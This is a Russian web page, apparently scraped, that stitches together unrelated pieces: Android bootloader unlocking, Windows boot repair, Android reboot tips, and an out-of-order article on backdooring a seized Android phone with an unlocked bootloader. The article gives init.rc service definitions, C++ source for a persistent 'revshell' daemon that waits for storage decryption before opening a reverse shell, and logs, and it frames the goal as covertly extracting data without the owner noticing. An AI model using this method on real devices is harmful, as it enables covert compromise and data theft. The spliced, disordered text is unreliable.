{2021} Unlock Bootloader Of Any Android Device With Fastboot Commands

Unlock Bootloader Of Any Android Using Fastboot Новости

Вступление

Сразу в начале оговорюсь, что все упомянутые опасности будут касаться наших устройств только если у злоумышленника есть физический доступ к девайсу. Поэтому можно просуммировать необходимые начальные условия:

  • Физический доступ к смартфону. Нескольких минут будет достаточно.

  • Загрузчик на смартфоне уже находится в разблокированном состоянии. Это главное условие. Оно в 95% случаев справедливо для устройств, на которых получены root-права или установлены сторонние сборки ОС, на что и намекает название статьи, но вполне возможно что пользователь по каким-то странным причинам решил разблокировать загрузчик и без этого. Нам не принципиально, загрузчик разблокирован — можно атаковать, версия android не имеет значения, наличие или отсутствие рута также не имеет значения. Именно о возможностях, которые даёт атакующему с физическим доступом разблокированный загрузчик, и будет вся суть статьи.

  • Для устройства существует возможность организовать sideload. Например, для устройства есть TWRP или иной образ recovery дающий возможность перевести устройство в режим sideload. Для большинства популярных устройств, поддерживающих разблокировку загрузчика, существуют готовые образы TWRP.

Если задуматься, то ситуация с физическим доступом к смартфону не такая уж и невероятная. Например, последние годы набирает тенденция проверки мобильных устройств пограничниками при въезде в страну. Количество подобных проверок увеличивается в разы с каждым годом и вскоре может стать повсеместно распространённой практикой.

С одной стороны это вопиющий произвол, нарушение законов и вторжение в частную жизнь, с другой стороны, законы большинства стран в этом моменте очень скользкие, плюс, например, на границе вы ещё не попали на территорию страны, поэтому и законы защищающие вашу частную жизнь ещё могут не действовать.

В общем, «отжать мобилу» у вас смогут в подавляющем большинстве случаев. В журнале Хакер есть отличная статья обозревающая эту проблему. Если по каким-либо причинам вас задержит полиция, то все ваши электронные устройства также будут изъяты и, как и на границе, могут быть незаметно для вас пробэкдорены.

Основы использования reboot to bootloader

Что это значит – я рассказал выше. А теперь – важные рекомендации:

  • Все, что Вы делаете в Бутлоадер (главном загрузчике Андроид) – выполняйте на свой страх и риск. Я не несу никакой ответственности за проблемы, возникающие в процессе манипуляций. Вероятность выхода устройства из строя достаточно высока, если произвести некорректные операции;
  • Риск потери данных тоже немаленький. Желательно заблаговременно создавать резервные копии на сторонних носителях. Иначе можно при попытке разблокировать телефон с помощью RtB потерять важную информацию.

Запуск оболочки следует выполнять, когда смартфон выключен. Далее одновременно зажимаем и удерживаем две клавиши – Power (Питание, Вкл/Откл) и Громкость вниз. Для Самсунг кнопка управления звуком может быть заменена на Home.

Таким образом, мы оказываемся в меню , откуда и переходим в RtB:

Данный способ работает практически на любых моделях, независимо от производителя (вот только внешний вид может отличаться. На скриншоте выше – пример на HTC).

Есть и второй вариант. Если у Вас разблокирован (Developer Mode), то можно при включенном аппарате открыть «Расширенные настройки» — «Для разработчиков» и активировать «Заводскую разблокировку» (актуально для Android 5 и выше):

Затем зажимаем кнопку питания, выбираем «Перезагрузку» и должны появится режимы, среди которых есть и Бутлоадер.

Обратите внимание, что в этой статье я не углублялся в особенности прошивки и продвинутого применения описываемого функционала. Дело в том, что каждая ситуация индивидуальна, и советовать что-то одно – это неправильный подход

Я поведал Reboot to Bootloader – что это такое Android, а если захотите узнать конкретно по своему смартфону (как, что делается), то рекомендую посетить самый авторитетный форум 4PDA.

Привет, на связи Алексей! Вы включили компьютер, и на черном экране видите эту непонятную надпись? Что же делать? Решение проблемы есть; в этом выпуске собрал в кучу наиболее часто встречающиеся диагностические сообщения связанные с загрузкой. Проблемы эти часто возникают после серьезных сбоев, и конечно в первую очередь нужно установить причину возникновения ошибки.

Коварство заключается в том, что «вчера вечером все было нормально», а сегодня вот… В качестве примера приведу случай из жизни. На некоторых не новых компьютерах обновленных до Windows 10 я сталкивался с такой проблемой. Лечиться она просто. Я отключаю питание компьютера, отсоединяю кабель питания, считаю до десяти и снова все включаю. Система загружается как обычно.

Но это самый простой случай. Если Вы например переносили системный блок, проверьте для начала . Если проблема осталась, тогда читаем далее.

Selinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством.

Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Уровни контроля доступа в android
Уровни контроля доступа в android

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис.

Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут.

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст.

Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать.

SELinux может работает в трёх режимах:

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна.

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так.

Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены.

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды.

Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell disabled seclabel u:r:magisk:s0 shutdown critical
on property:sys.boot_completed=1 start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once
#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>
#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"

revshell.hpp

#include "revshell.hpp"
bool check_fs_decrypted() { bool result = false; struct dirent *entry; DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR); if (dir == NULL) { return result; } while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) { result = true; } } closedir(dir); return result;
}
int run_in_main_proc() { LOGD("Start successfull!n"); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGKILL, SIG_IGN); LOGD("Signals are set to ignoren"); int timer_counter = 0; int timer_step = 5; LOGD("Hey I'm a revshell process!n"); LOGD("My PID -- %dn", getpid()); LOGD("My parent PID -- %dn", getppid()); LOGD("My UID -- %dn", getuid()); LOGD("Awaiting encrypted FS decryption now..."); while (true) { sleep(timer_step); timer_counter = (timer_counter timer_step) % INT_MAX; if (check_fs_decrypted()) { LOGD("FS has been decrypted!"); break; } } LOGD("Starting reverse shell now"); while (true) { sleep(timer_step); timer_counter = (timer_counter timer_step) % INT_MAX; LOGD("tick ! %d seconds since process started", timer_counter); } LOGD("Exit!n"); return 0;
}
int main(int argc, char *argv[]) { return run_in_main_proc();
}

revshel.cpp

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell
u:r:magisk:s0 root 3589 1 0 23:42:06 ? 00:00:00 revshell
u:r:shell:s0 shell 5546 5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell
u:r:magisk:s0 root 5592 1 0 23:51:34 ? 00:00:00 revshell
u:r:magisk:s0 root 5601 5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Как восстановить работу загрузчика windows

Восстановление BIOS и доступ к жёсткому диску обеспечат относительную работоспособность компьютера посредством загрузки с внешнего носителя. Однако при повреждении загрузчика Windows вместо нормальной работы BIOS нас встретит другой надписью «No boot device available — No bootable devices-strike F1 to retry boot, F2 for setup utility».

Проблемы с загрузкой требуют участия пользователя

Прежде чем принять серьёзное решение о переустановке Windows, попробуем восстановить загрузчик. Для этого нам придётся воспользоваться утилитой восстановления системы. Вполне возможно, что этого будет достаточно для решения проблемы.

  1. Загружаемся с аварийного носителя (диска или флешки) по уже знакомому нам алгоритму. Также можно использовать инсталляционный диск Windows.
  2. Дожидаемся появления экрана с установкой Windows.
  3. Выбираем в нижнем левом углу активную опцию «Восстановление системы» и переходим по ней.

Хотя Android устройство обычно поставляется с гладкой функциональностью и отличным удобством, они, как правило, дают некоторые проблемы иногда. Отставание производительности, сбой приложения, и сбои OS является лишь некоторые из тех вопросов, которые вы можете столкнуться с Android устройств. благодарно, большинство из этих проблем могут быть легко решены, если вам перезагружатьAndroid устройство.

по факту, Вы можете перезагрузить Android устройств по-разному, и большинство из перезагрузок может решить проблемы. Однако, в некоторых случаях, даже перезагрузка не может решить проблему. Что ж, Здесь мы объясним разные способы перезагрузиться Android устройства и вещи делать, если перезагрузка не удалась.

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

  • FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал «двойной» загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

  • FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

  • Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет. 

  • Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.

  • Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована. 

  • Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения. 

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона.

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

  • Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.

  • Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android. 

  • Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя. 

  • Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.

  • Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.

  • После отработки всех скриптов мы получаем полностью запущенную систему.

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать. 

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell disabled shutdown critical
on property:sys.boot_completed=1 start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд.

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

Порядок действий

ВАЖНО. Следует понимать, что рассматриваемые действия при неудачном исполнении могут привести к тому, что ваш гаджет превратиться в «кирпич» и попросту откажется включаться. . Кроме того, приведённый порядок действий гарантированно приведёт к удалению всего содержимого на смартфоне/планшете, поэтому первое, о чём необходимо позаботиться, – это обеспечить сохранность всей важной для вас информации, после чего можно приступать непосредственно к основным манипуляциям, которые выглядят следующим образом:

Кроме того, приведённый порядок действий гарантированно приведёт к удалению всего содержимого на смартфоне/планшете, поэтому первое, о чём необходимо позаботиться, – это обеспечить сохранность всей важной для вас информации, после чего можно приступать непосредственно к основным манипуляциям, которые выглядят следующим образом:

Шаг 1 – Android SDK и USB драйверы:

Шаг 2 – Отладка:

  • В упомянутой выше папке «Platform-tools» и с зажатой клавишей «SHIFT» кликните правой кнопкой по пустому участку экрана и выберите пункт «Открыть окно команд»;
  • Выполните команду «adb devices» и в ответ на это перед вами будет выведен серийный номер Android-устройства;
  • На смартфоне/планшете откройте «Настройки» и перейдите в раздел «О телефоне»;
  • Найдите строку «Номер сборки» и тапайте по ней, пока не появится сообщение и присвоении полномочий разработчика;
  • Вернитесь в основной раздел настроек и откройте новый пункт меню с красноречивым названием «Для разработчиков» и если там имеется строка «Разблокировка OEM» (что далеко не всегда) нажмите на неё;
  • Активируйте пункт «Отладка по USB» и по необходимости введите пароль;
  • Подключите смартфон/планшет к компьютеру и в ответ на сообщение «Разрешить отладку по USB?» выберите «Всегда разрешать на данном ПК».

Шаг 3 – Ключ разблокировки:

Дальнейший порядок действий будет зависеть от того, устройство какого производителя имеется в наличии. Общий порядок получения ключа разблокировки примерно одинаков – это наличие необходимости посетить тематическую страницу производителя, которая посвящена рассматриваемой теме и проделать весь спектр манипуляций, предусмотренный инструкциями.

Данный процесс в деталях описывать бессмысленно, так как он носит индивидуальный характер, и единственное, что здесь следует отметить, – это то, что после получения от производителя ключа разблокировки в виде файла с расширением «.bin» поместите его в папку «Platform-tools».

Шаг 4 – Работа с «Bootloader»:

  • Выключите планшет или смартфон;
  • Зажмите кнопку питания и понижения громкости для загрузки в режиме «Fastboot». Это срабатывает не для всех моделей мобильных гаджетов, поэтому при необходимости уточните индивидуальный для вас порядок действий;
  • С помощью USB-кабеля подключите девайс к компьютеру;
  • По аналогии с вышеприведёнными пунктами в Шаге 2 откройте пункт «Открыть окно команд»;
  • Введите предусмотренные для вашей модели команды, например:
  • В ответ на выполненную команду на смартфоне/планшете может появиться требование о подтверждении разблокировки, где необходимо выбрать «Да»;
  • Дождитесь завершения работы, с учётом того, что процесс может занять достаточно длительное время, это касается и первого запуска ОС после проведённых действий;
  • Наберитесь терпения и самовольно не прерывайте загрузку операционной системе и штатное включение устройства.

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE.

Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована.

На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей.

Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно.

Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Раздел boot и ядро

Если во время включения устройства ты не зажимал клавишу увеличения громкости либо не перезагружал смартфон в режим recovery намеренно (например, с помощью расширенного меню перезагрузки в кастомных прошивках), на последнем этапе своей работы aboot загружает в память устройства ядро Linux и RAM-диск из раздела boot, а после этого передает управление ядру.

Сам раздел boot не содержит никакой файловой системы, а представляет собой сжатые с помощью gzip и записанные друг за другом ядро и RAM-диск, предваренные небольшим заголовком размером в два килобайта (он содержит опции загрузки ядра, а также адреса расположения образов и другую информацию).

RAM-диск, в свою очередь, представляет собой небольшую виртуальную файловую систему, содержащую набор каталогов, к которым Android подключит файловые системы других разделов (system, data, sdcard), а также систему и скрипт инициализации и init.rc. RAM-диск загружается прямо в оперативку и продолжает существовать все время, пока смартфон включен.

Благодаря простой структуре образ раздела boot (boot.img) довольно легко распаковать. Это можно сделать даже с помощью HEX-редактора, но проще воспользоваться инструментом imgtool. Пример для Linux (x86_64):

$ imgtool.ELF64 boot.img extract
$ cd extracted
$ mkdir ramdisk_ext
$ cd ramdisk_ext
$ gunzip -c ../ramdisk | cpio -i

Запакованные ядро и RAM-диск окажутся в каталоге extracted, а содержимое RAM-диска — в подкаталоге ramdisk_ext. Это в идеале. На самом деле, как и в случае с загрузчиком, никакого стандарта для формата раздела boot нет, и производитель может проявить фантазию.

Тем не менее в 95% формат раздела boot стандартный, и если ты когда-либо прошивал на свой аппарат кастомное ядро, то наверняка внутри ZIP-архива с ядром был именно образ boot.img, так что вместе с ядром ты прошивал также и RAM-диск. Когда ты это делал, тебе приходилось быть осторожным, ведь RAM-диск стоковой прошивки отличается от RAM-диска того же CyanogenMod. Прошив ядро для AOSP в CyanogenMod, ты мог получить bootloop и много других неприятностей.

Чтобы обойти эту проблему, разработчик CyanogenMod и автор ClockworkMod Recovery Кушик Дутта (Koushik Dutta, или Koush) создал систему AnyKernel, которая позволяет устанавливать ядра отдельно от RAM-диска (путем пересборки раздела boot на лету).

Какое бы ядро ты ни выбрал, тебе в любом случае понадобится кастомный recovery для его установки.

Цифровая подпись aboot и boot разделов

Я пытался выяснить каким публичным ключём подписаны boot образы. Распаковал ключи из aboot (), извлек подписи из образов и прошелся всеми публичными ключами по ним. Выяснил, что все образы подписаны одни ключём. С ходу не разобрался как вычислить смещение подписи у boot разделов, потому я просто перепаковываю образ и использую его размер как смещение.

В качестве эксперимента я попробовал записать boot раздел в раздел fota, зная, что при загрузке fota снимаются все ограничения. Здесь я сильно рисковал, т.к. мог получить bootloop, похожий на bootloop recovery. Метка загрузки в fota записывается в раздел fotamng и если раздел не загрузится, то я получу бесконечную перезагрузку.

К сожалению, boot раздел, записанный в fota не загрузился, а bootloop я, к счастью, не получил. Не понятно почему тогда boot раздел, записанный в recovery успешно загрузился. Толку от этого конечно нет, для recovery используется та же защита, что и для boot. Не знаю чем вызвано подобное поведение. Возможно различными смещениями ramdisk и tags:

boot/recovery:

fota:

